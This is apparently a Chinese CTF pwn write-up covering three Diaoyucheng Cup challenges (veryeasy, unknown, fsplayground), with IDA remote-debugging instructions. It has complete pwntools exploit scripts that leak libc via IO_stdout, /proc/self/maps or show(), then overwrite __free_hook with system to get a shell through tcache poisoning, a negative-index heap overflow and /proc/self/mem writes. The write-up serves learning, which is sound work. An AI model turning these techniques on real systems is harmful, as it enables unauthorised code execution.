热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

钓鱼城杯PwnWriteup学习

 作者:Alter@星盟前言星盟萌新,最近和师傅们一起打了钓鱼城杯比赛,虽然我实力有限全程只能划水,但师傅们太强了直接被带飞,所以赛后借着师傅们的WP复现学习了一下,把自己遇到的问题尽可能详细的写了一

 

作者:Alter@星盟

前言

星盟萌新,最近和师傅们一起打了钓鱼城杯比赛,虽然我实力有限全程只能划水,但师傅们太强了直接被带飞,所以赛后借着师傅们的WP复现学习了一下,把自己遇到的问题尽可能详细的写了一下,希望可以帮到和我一样的PWN新手

 

钓鱼城杯Veryeasy

UAF+tcache attack


1、将tcache放满的另一种方法

将一个chunk double free到tcache中之后,连续申请这个chunk 3次,tcache这条链就会被记为-1,然后再次删除这个size的chunk就会被放入unsorted bin中,如下图:

申请一次之后

以此类推,申请3次之后

此时变成-1之后应该是整数溢出,-1相当于最大的正数0xff大于7,所以下一个chunk会被放入unsorted bin中

本地关闭ASLR之后,Main arena和IO stdout居然不在一个内存页,挺神奇的。不过开启之后还是在同一个内存页的


2、常规分析

全保护


3、IDA分析

有增删改功能,但是没有show函数,所以需要修改IO stdout


  • delete函数

漏洞点,显然有UAF漏洞,但是这里有一个if判断,dword_202010最开始为9,每add一次或者edit一次就会-1,dword_20204c每删除一次就会+1


4、利用思路

由于开启了全保护且没有show函数,所以需要通过IO stdout泄露libc地址,但是限制了tcache的删除次数,所以通过向tcache里放7个chunk的方法行不通(其实好像也行,通过add和edit使dword_202010整数溢出就行,不过有点麻烦),所以这里采用上面说的方法,先double free再申请3个chunk将tcache的计数器变成-1导致整数溢出,然后再次free就会放到unsorted bin中,通过edit部分写main arena修改为IO stdout的地址,然后申请两个chunk到IO stdout 修改flags为0xfbad1887并改小writebase为0x58,泄露出libc。然后通过2次edit函数将dword_202010减为为-1整数溢出,再通过double free chunk1申请到free hook的地址,修改为system即可,getshell


5、EXP:(来自haivk师傅的exp,稍有改动)

from pwn import *
#context.log_level='debug'
#p=process('./veryeasy')
libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def add(idx,size,content):
p.recvuntil("Your choice :")
p.sendline('1')
p.recvuntil("id:\n")
p.sendline(str(idx))
p.recvuntil("please input your size:\n")
p.sendline(str(size))
p.recvuntil("content:\n")
p.send(content)
def edit(idx,content):
p.recvuntil("Your choice :")
p.sendline('2')
p.recvuntil("id:\n")
p.sendline(str(idx))
p.recvuntil("content:\n")
p.send(content)
def delete(idx):
p.recvuntil("Your choice :")
p.sendline('3')
p.recvuntil("id:\n")
p.sendline(str(idx))
def pwn():
add(0,0xf0,'a')
add(1,0x10,'a')
delete(0)
delete(0)
add(2,0xf0,'\x60')
add(3,0xf0,'\x60')
add(4,0xf0,'\x60')
delete(0)
#edit(0,'\x60\x07\xdd')
edit(0,'\x60\x97')
add(5,0xf0,'a')
#gdb.attach(p)
add(6,0xf0,p64(0xfbad1887)+p64(0)*3+'\x58')
#p.recvuntil('\n')
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x3e82a0
print hex(libcbase)
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
edit(0,'a')
edit(0,'a')
#gdb.attach(p)
delete(1)
edit(1,p64(free_hook))
add(7,0x10,'/bin/sh\x00')
add(8,0x10,p64(system))
delete(7)
p.interactive()
#pwn()
while True:
try:
p=process("./veryeasy")
pwn()
p.interactive()
except:
p.close()
print ("retrying...")

 

钓鱼城杯unknown

程序自修改解密(比较逆向)+堆溢出+tcache attack


1、常规分析

保护全开


2、IDA分析

用IDA打开后发现,里面没有什么正常的函数,无法反汇编,发现是中间有一些加密之后的指令混在函数中,导致反汇编失败。在haivk师傅的帮助下,通过IDA的动态调试,运行程序,利用程序的自修改解密,得到正常的elf文件(具体过程参照文末IDA动态调试)


  • Menu函数

写得奇奇怪怪,其实就是增删改查功能


  • add函数

仔细看会发现对于idx只做了上限,没有考虑下限,所以我们可以输入负数,v3是一个int类型的数,是有正负的,所以没有整数溢出,但是仔细想想会发现向ptr[-1]这个位置写就有点意思了,这个位置在ptr地址的上面


  • delete函数

没有UAF,非常正常


  • show函数

给了show函数,挺开心的,不同再修改IO_stdout泄露libc了


  • edit函数

发现向堆中读入Size数组记录的那么多个字节


3、利用思路

粗看好像没有什么漏洞,但是仔细想想结合add和edit函数,会发现一个问题,add函数可以申请index为-1的chunk,查看一下ptr和Size数组的地址

发现正好相差了0x80,而0x80/8=16,正好是16个p64长度的东西,而这些地址全是用来记录chunk的size的,所以我们申请index为负数的chunk就意味着可以修改Size数组中的size的值,而edit读入的size又是根据这个数组中的size确定的,所以我们就有了一个堆溢出漏洞。

首先将一个chunk放到unsorted bin中,用show函数泄露出libc地址,再申请index为-1的chunk,实现栈溢出,将一个free掉了的tcache chunk的fd指针修改为free hook,在通过tcache poisioning申请得到free hook,修改为system函数地址即可getshell

申请index=-1的chunk前后Size的变化

申请前

申请后

可以看到原本Size[15]=0,申请index=-1的chunk之后,Size[15]被修改成了堆地址,而这个值很大,所以我们可以向chunk 15中写入这么多字节的数据,实现了堆溢出,之后修改fd指针就行了


EXP:(改编自haivk师傅的exp)

from pwn import *
context.log_level='debug'
p=process("./unknown")
libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
def add(idx,size):
p.recvuntil("Your choice: ")
p.sendline('1')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
def edit(idx,content):
p.recvuntil("Your choice: ")
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(idx))
#p.recvuntil("\n")
sleep(0.2)
p.send(content)
def show(idx):
p.recvuntil("Your choice: ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(idx))
def delete(idx):
p.recvuntil("Your choice: ")
p.sendline('4')
p.recvuntil("Index: ")
p.sendline(str(idx))
add(0,0x100)
for i in range(1,8):
add(i,0x100)
for i in range(1,8):
delete(i)
delete(0)
add(15,0)
add(1,0x20)
#add(9,0x30)
show(15)
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libcbase=main_arena-0x3ebda0
print hex(libcbase)
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
gdb.attach(p)
add('-1',0x20)
delete(1)
edit(15,'a'*0x10+p64(0)+p64(0x31)+p64(free_hook)+'\n')
add(2,0x20)
add(3,0x20)
edit(2,'/bin/sh\x00\n')
edit(3,p64(system)+'\n')
delete(2)
p.interactive()

 

钓鱼城杯Fsplayground

/proc/self/maps和/proc/self/mem的理解和利用


1、前置知识



(1)/proc目录

Linux系统内核提供了一种通过/proc文件系统,在程序运行时访问内核数据,改变内核设置的机制。/proc是一种伪文件结构,也就是说是仅存在于内存中,不存在于外存中的。/proc中一般比较重要的目录是sys,net和scsi,sys目录是可写的,可以通过它来访问和修改内核的参数。

/proc中还有一些以PID命名(进程号)的进程目录,可以读取对应进程的信息。另外还有一个/self目录,用于记录本进程的信息


(2)/proc/self目录

由上面的可知,我们可以通过/proc/$PID/目录来获得该进程的信息,但是这个方法需要知道进程的PID是多少,在fork、daemon等情况下,PID可能还会发生变化。所以Linux提供了self目录,来解决这个问题,这个目录比较独特,不同的进程来访问获得的信息是不同的,内容等价于/proc/本进程PID/目录下的内容。所以可以通过self目录直接获得自身的信息,不需要知道PID


(3)/proc/self/maps

这个文件用于记录当前进程的内存映射关系,类似于gdb下的vmmap指令,通过读取该文件可以获得内存代码段基地址


(4)/proc/self/mem

该文件记录的是进程的内存信息,通过修改该文件相当于直接修改进程的内存。这个文件是可读可写的,但是如果直接读的话就会出现下面的报错

需要结合maps的映射信息来确定读的偏移值,无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取出内容。

也可以通过写入mem文件来直接写入内存,例如直接修改代码段写入shellcode等


2、常规分析

保护全开


3、IDA分析



  • menu函数

发现是一个文件读写系统


  • open函数

读取的文件名不可以包含flag字符串,所以无法直接读取flag,但是会发现只有这一个限制,所以我们可以打开除包含flag字节在内的任意文件,然后还要两个选项可以选择文件打开的状态,只读或者读写。然后只能同时打开一个文件


  • close函数

把打开的文件关闭


  • seek函数

可以切换文件中指针的位置,实现该文件任意位置的读写


  • read函数

将文件中的内容读出,并打印到终端


  • write函数

将终端输入写入到文件中


4、利用思路

因为无法打开flag随意不能直接读取flag,要想办法getshell。根据Linux的知识可知,/proc/self/maps中有内存映射关系,可以泄露libc地址,然后通过修改/proc/self/mem可以直接修改程序内存。所以思路就是打开/proc/self/maps文件读取libc地址,然后通过/proc/self/mem将free hook修改为system的地址。因为上边的write中使用了free函数并将我们输入的内容作为参数释放,所以我们可以直接在我们输入的内容中就布置/bin/sh参数


EXP:(来自NU1l战队的wp,稍作修改)

from pwn import *
context.log_level='debug'
p=process("./fsplayground")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def openfile(name,option):
p.recvuntil("Your choice: ")
p.sendline('1')
p.recvuntil("Filename: ")
p.sendline(str(name))
p.recvuntil("Option: ")
p.sendline(str(option))
def closefile():
p.recvuntil("Your choice: ")
p.sendline('2')
def seekfile(offset):
p.recvuntil("Your choice: ")
p.sendline('3')
p.recvuntil("Offset: ")
p.sendline(str(offset))
def readfile(size):
p.recvuntil("Your choice: ")
p.sendline('4')
p.recvuntil("Size: ")
p.sendline(str(size))
def writefile(size,content):
p.recvuntil("Your choice: ")
p.sendline('5')
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.send(content)
openfile("/proc/self/maps\x00",0)
readfile(0x1000)
r=p.recvuntil("6. exit").splitlines()#这里将maps中的内容全部读入,然后用splitlines分成一行行,再通过循环寻找libc-2.27也就是libc的基地址那行,找到之后打印出来
find=''
for i in r:
if 'libc-2.27.so' in i and 'r-xp' in i:
find=i
break
print (find)
libcbase=int(find[:12],16)
print hex(libcbase)
closefile()
openfile("/proc/self/mem\x00",1)
seekfile(libcbase+libc.sym["__free_hook"]-8)
writefile(0x10,'/bin/sh\x00'+p64(libcbase+libc.sym['system']))
p.interactive()

参考链接:

https://www.jianshu.com/p/3fba2e5b1e17

https://blog.csdn.net/dillanzhou/article/details/82876575

 

IDA动态调试

IDA Pro非常强大,可以动态调试,之前一直都不太会使用,一直都是用的gdb,虽然现在会了之后还是觉得gdb比较好用2333

在钓鱼城杯的一道题中从haivk师傅那里得知了IDA动态调试的方法,可以用来解决一些程序无法直接反汇编的问题。可以尝试使用IDA动态调试,利用程序自修改解密,拿到正常的代码


1、IDA动态调试步骤(以Windows下为例)

用IDA调试ELF文件,是无法完全独立依靠Windows完成的,需要一个Linux虚拟机

(1)

首先将在Windows中的IDA文件夹里找出linux_server(64)这两个运行程序,然后将其复制到Linux中

(2)

在Linux中sudo 运行Linux_server,如果64位程序就选64位的server。

(3)

打开IDA将需要分析的bin文件拖入到IDA中,并在debugger—>selete debugger中选择remote Linux debugger

上一步完成之后,debugger就会变成下图这样,选择process options

接下来这一步很关键,很大程度上决定了能不能调试成功

在application和input file中都要填入Linux中elf文件的路径(包括程序),在dir中填入elf文件所在的文件夹路径,hostname这里需要写入Linux的ip地址,由于我做了端口映射,所以我直接填入localhost。确定即可

(4)

接下去选择start process或者选择attach to process,如果我们选择了attach这一步,那就需要在Linux中先运行要调试的程序,然后attach到这个程序的进程上即可。(两个效果不一定一样,一个远程一个本地)

(5)

接下去基本上就是正常的调试了,虽然我不太会

需要注意的是,如果该程序是自修改解密的,那么解密之后的那部分数据依然是以数据的形式存在在文件中的,所以我们需要使用c(code)指令将这段数据强制转换成代码,之后create function就可以正常F5了

 

总结:

感谢haivk师傅的讲解,感觉自己在逆向方面了解的比较少,对Linux系统内部一些实现不够了解,希望可以跟着星盟的师傅们学习,也欢迎其他师傅们加入星盟


推荐阅读
  • 本文介绍了机器学习手册中关于日期和时区操作的重要性以及其在实际应用中的作用。文章以一个故事为背景,描述了学童们面对老先生的教导时的反应,以及上官如在这个过程中的表现。同时,文章也提到了顾慎为对上官如的恨意以及他们之间的矛盾源于早年的结局。最后,文章强调了日期和时区操作在机器学习中的重要性,并指出了其在实际应用中的作用和意义。 ... [详细]
  • 本文讨论了clone的fork与pthread_create创建线程的不同之处。进程是一个指令执行流及其执行环境,其执行环境是一个系统资源的集合。在调用系统调用fork创建一个进程时,子进程只是完全复制父进程的资源,这样得到的子进程独立于父进程,具有良好的并发性。但是二者之间的通讯需要通过专门的通讯机制,另外通过fork创建子进程系统开销很大。因此,在某些情况下,使用clone或pthread_create创建线程可能更加高效。 ... [详细]
  • Java太阳系小游戏分析和源码详解
    本文介绍了一个基于Java的太阳系小游戏的分析和源码详解。通过对面向对象的知识的学习和实践,作者实现了太阳系各行星绕太阳转的效果。文章详细介绍了游戏的设计思路和源码结构,包括工具类、常量、图片加载、面板等。通过这个小游戏的制作,读者可以巩固和应用所学的知识,如类的继承、方法的重载与重写、多态和封装等。 ... [详细]
  • 本文介绍了Python对Excel文件的读取方法,包括模块的安装和使用。通过安装xlrd、xlwt、xlutils、pyExcelerator等模块,可以实现对Excel文件的读取和处理。具体的读取方法包括打开excel文件、抓取所有sheet的名称、定位到指定的表单等。本文提供了两种定位表单的方式,并给出了相应的代码示例。 ... [详细]
  • Linux服务器密码过期策略、登录次数限制、私钥登录等配置方法
    本文介绍了在Linux服务器上进行密码过期策略、登录次数限制、私钥登录等配置的方法。通过修改配置文件中的参数,可以设置密码的有效期、最小间隔时间、最小长度,并在密码过期前进行提示。同时还介绍了如何进行公钥登录和修改默认账户用户名的操作。详细步骤和注意事项可参考本文内容。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 本文介绍了使用Java实现大数乘法的分治算法,包括输入数据的处理、普通大数乘法的结果和Karatsuba大数乘法的结果。通过改变long类型可以适应不同范围的大数乘法计算。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • Java容器中的compareto方法排序原理解析
    本文从源码解析Java容器中的compareto方法的排序原理,讲解了在使用数组存储数据时的限制以及存储效率的问题。同时提到了Redis的五大数据结构和list、set等知识点,回忆了作者大学时代的Java学习经历。文章以作者做的思维导图作为目录,展示了整个讲解过程。 ... [详细]
  • 本文讨论了如何优化解决hdu 1003 java题目的动态规划方法,通过分析加法规则和最大和的性质,提出了一种优化的思路。具体方法是,当从1加到n为负时,即sum(1,n)sum(n,s),可以继续加法计算。同时,还考虑了两种特殊情况:都是负数的情况和有0的情况。最后,通过使用Scanner类来获取输入数据。 ... [详细]
  • 本文介绍了九度OnlineJudge中的1002题目“Grading”的解决方法。该题目要求设计一个公平的评分过程,将每个考题分配给3个独立的专家,如果他们的评分不一致,则需要请一位裁判做出最终决定。文章详细描述了评分规则,并给出了解决该问题的程序。 ... [详细]
  • 本文介绍了如何在给定的有序字符序列中插入新字符,并保持序列的有序性。通过示例代码演示了插入过程,以及插入后的字符序列。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • Linux环境变量函数getenv、putenv、setenv和unsetenv详解
    本文详细解释了Linux中的环境变量函数getenv、putenv、setenv和unsetenv的用法和功能。通过使用这些函数,可以获取、设置和删除环境变量的值。同时给出了相应的函数原型、参数说明和返回值。通过示例代码演示了如何使用getenv函数获取环境变量的值,并打印出来。 ... [详细]
  • 本文介绍了Windows操作系统的版本及其特点,包括Windows 7系统的6个版本:Starter、Home Basic、Home Premium、Professional、Enterprise、Ultimate。Windows操作系统是微软公司研发的一套操作系统,具有人机操作性优异、支持的应用软件较多、对硬件支持良好等优点。Windows 7 Starter是功能最少的版本,缺乏Aero特效功能,没有64位支持,最初设计不能同时运行三个以上应用程序。 ... [详细]
author-avatar
幸福璞子难_197
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有